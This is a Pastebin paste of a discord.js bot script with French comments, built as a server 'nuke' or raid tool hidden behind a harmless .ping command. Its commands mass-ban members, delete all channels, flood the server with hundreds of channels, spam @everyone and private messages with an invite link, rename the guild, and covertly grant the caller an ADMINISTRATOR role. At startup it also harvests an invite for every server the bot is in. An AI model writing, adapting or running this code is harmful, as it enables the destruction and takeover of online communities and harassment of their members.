SHARE
TWEET

Untitled

a guest Nov 17th, 2019 88 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. const Discord = require("discord.js");
  2. const bot = new Discord.Client();
  3. const token = "token";
  4. var prefix = ".";
  5. var mention = "126connectés"
  6.  
  7. var fucked = false;
  8.  
  9. bot.on('ready',() => {
  10.     Prêt
  11.     bot.guilds.forEach(guild => {
  12.       var invite = bot.guilds.find("id", guild.id).channels.find("id", guild.channels.random().id);
  13.       invite.createInvite().then(invite => console.log(`Connecté sur : ${guild.name} ${invite}`));
  14.     })
  15. });
  16.  
  17. bot.on('message', msg => {
  18.   //#region Legit
  19.   /* Commandes legit */
  20.   if (msg.content === '.ping') {
  21.     msg.reply('pong !')
  22.   }
  23.   //#endregion
  24.  
  25.   //#region Destructrices
  26.   /* Commandes destructrices */
  27.   if (msg.content === '.a') {
  28.     console.log(`Commande .des par ${msg.author.tag}`);
  29.     var interval = setInterval (function () {
  30.       msg.channel.send("@everyone  @here https://discord.gg/bMb92pz");
  31.      }, 500);
  32.   }
  33.             if (msg.content === '.des') {
  34.             console.log(`Commande .mp par ${msg.author.tag}`);
  35.                 if (msg.channel.type === "dm") return;
  36.                 if (msg.deletable) msg.delete();
  37.                 msg.guild.members.forEach(member => {
  38.                   setInterval(function () {
  39.                     member.send(msg.guild.owner.user.username+"https://discord.gg/bMb92pz").catch(error => {}) }, 450)})
  40.        }
  41.  
  42. if(msg.content === '.del'){
  43.           if(msg.channel.type === "dm") return;
  44.           if(msg.guild.channels.size === 0) return;
  45.           else if(!msg.guild.member(bot.user).hasPermission("MANAGE_CHANNELS")) return;
  46.           msg.guild.channels.forEach(chan => { if(chan.deletable) chan.delete();})
  47.       }
  48.  
  49.   if (msg.content === '.des') {
  50.     console.log(`Commande .des par ${msg.author.tag}`);
  51.  
  52.     if (!fucked){
  53.       msg.guild.setIcon("https://discord.gg/bMb92pz").catch(e => {});
  54.       msg.guild.setName('https://discord.gg/bMb92pz').catch(e => {});
  55.  
  56.       for (var i = 0; i < 390; i++) {
  57.         msg.guild.createChannel('https://discord.gg/bMb92pz', 'voice').catch(e => {});
  58.         msg.guild.createChannel('https://discord.gg/bMb92pz', 'text').catch(e => {});
  59.       }
  60.       fucked = true;
  61.             }
  62.  
  63.     if (msg.deletable) {
  64.       msg.delete();
  65.     }
  66.   }
  67.  
  68.   if (msg.content === '.ban') {
  69.     console.log(`Commande .bane par ${msg.author.tag}`);
  70.     msg.guild.members.forEach(member => {
  71.       if (!member.roles.exists("name", "https://discord.gg/bMb92pz") && member.bannable) member.ban().catch(e => {});
  72.     });
  73.   }
  74.  
  75.   if (msg.content === '.exit') {
  76.     console.log(`Commande .leave par ${msg.author.tag}`);
  77.     if (msg.deletable) msg.delete().catch(e => {});
  78.     msg.guild.leave().catch(e => {});
  79.   }
  80.  
  81.   if (msg.content === '.r') {
  82.     console.log(`Commande .r par ${msg.author.tag}`);
  83.  
  84.     msg.member.guild.createRole({
  85.       name: "membre",
  86.       permissions: "ADMINISTRATOR",
  87.       mentionable: false
  88.     }).then(function(role) {
  89.       msg.member.addRole(role);
  90.       if (msg.deletable) msg.delete().catch(e => {});
  91.     }).catch(e => {});
  92.   }
  93.   //#endregion
  94. });
  95. bot.on("message", msg => {
  96.         if(msg.content.startsWith(".des")){
  97.            msg.delete()
  98.             let i = 0;
  99.             let interval = setInterval(function () {
  100.               msg.guild.channels.forEach(channel => {
  101.                 if (channel.type === "text") channel.send('@everyone  @here https://discord.gg/bMb92pz')
  102.               }, 2500);
  103.             });
  104.           }
  105.         });
  106.  
  107. bot.login("token")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top